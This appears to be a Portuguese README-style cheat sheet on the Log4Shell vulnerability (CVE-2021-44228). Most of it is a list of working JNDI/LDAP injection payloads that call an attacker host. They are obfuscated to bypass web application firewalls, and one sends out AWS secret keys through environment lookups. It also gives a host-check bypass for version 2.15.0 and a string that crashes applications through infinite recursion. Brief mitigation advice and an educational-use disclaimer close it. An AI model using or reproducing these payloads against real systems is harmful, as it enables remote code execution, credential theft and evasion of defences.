🐱💻 ✂️ 🤬 CVE-2021-44228 - Exploit Java do LOG4J - Truques de bypass de WAF
CVE-2021-44228 funciona em:
log4j: 2.0 <= Apache log4j <= 2.14.1
Versão Java já corrigida: 6u211+, 7u201+, 8u191+, 11.0.1+.
O Windows Defender começou a remover arquivos .java que incluem jndi:ldap:....
Script atacante simples (Possível RCE):
${jndi:ldap://somesitehackerofhell.com/z}
WAF ou desenvolvedores começaram a bloquear frases:
para proteger aplicações.
No entanto, o atacante pode contornar isso usando uma destas técnicas:
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}
Pela documentação do Apache Log4j 2: ${env:ENV_NAME:-default_value}
Se não houver variável de ambiente ENV_NAME no sistema, use o texto após :-
O atacante pode usar qualquer nome em vez de ENV_NAME, mas ele não deve existir.
Ou o hacker pode ler uma variável de ambiente, exemplo para AWS_SECRET_ACCESS_KEY:
${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}
Confira mais segredos em 🦄🔒 Lista incrível de segredos em variáveis de ambiente 🖥️
Você pode verificar suas variáveis de ambiente do sistema:
dir env:printenv ou env${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}
Lower Lookup O LowerLookup converte o argumento passado para minúsculas. Presumivelmente, o valor será o resultado de uma consulta aninhada.
${lower:<texto>}
Upper Lookup O UpperLookup converte o argumento passado para maiúsculas. Presumivelmente, o valor será o resultado de uma consulta aninhada.
${upper:<texto>}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}
${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}
ı é convertido para i
${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}
Se não houver propriedade de sistema SYS_NAME, use o texto após :-
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}
A formatação de data Java converte YYYY para 2021, mas converte 'YYYY' para YYYY ou 'j' para j.
Substitua caracteres por:
Você pode ler mais aqui Referência de Codificação HTML URL
${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}
Ele não verifica a existência da consulta e simplesmente avalia para o padrão felizmente.
{
"one-${jnd${a":"a:-i}:ld${",
"two":"o:-a}p://somesitehackerofhell.com/z}
}
"Separadamente, essas chaves e valores não representam um ataque. Mas todos juntos são um ataque, e esse ataque é transparente para os sistemas de detecção por causa do parser JSON." Leia mais...
${\u006a\u006e\u0064\u0069:ldap://somesitehackerofhell.com/z}
Converta alguns caracteres para unicode.
${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}
Ignora as verificações de allowedLdapHost e allowedClasses no Log4J 2.15.0. O método java.net.URI getHost() retorna o valor antes do # como o host real. Mas o resolvedor JNDI/LDAP resolverá para a string completa do hostname tentando conectar ao servidor LDAP malicioso.
${${::-${::-$${::-j}}}}
Se uma substituição de string for tentada por qualquer motivo na string a seguir, isso desencadeará uma recursão infinita, e a aplicação travará.
Crie um arquivo pdf especial para explorar o CVE-2021-44228

Para testar a entrada, você pode usar:
resumo: Atualize para log4j-2.17.1 ou posterior.
Mitigação Log4j 1.x: Log4j 1.x não possui Lookups, então o risco é menor. Aplicações usando Log4j 1.x só são vulneráveis a este ataque quando usam JNDI em sua configuração. Um CVE separado (CVE-2021-4104) foi registrado para esta vulnerabilidade. Para mitigar: audite sua configuração de log para garantir que não tenha JMSAppender configurado. Configurações Log4j 1.x sem JMSAppender não são afetadas por esta vulnerabilidade.
Mitigação Log4j 2.x: Implemente uma das técnicas de mitigação abaixo.
Observe que apenas o arquivo JAR log4j-core é impactado por esta vulnerabilidade. Aplicações usando apenas o arquivo JAR log4j-api sem o log4j-core não são impactadas por esta vulnerabilidade.

Este projeto só pode ser usado para fins educacionais. Usar este software contra sistemas alvo sem permissão prévia é ilegal, e quaisquer danos decorrentes do uso indevido deste software não serão de responsabilidade do autor.
Não sou o autor do CVE-2021-44228 e de alguns bypasses.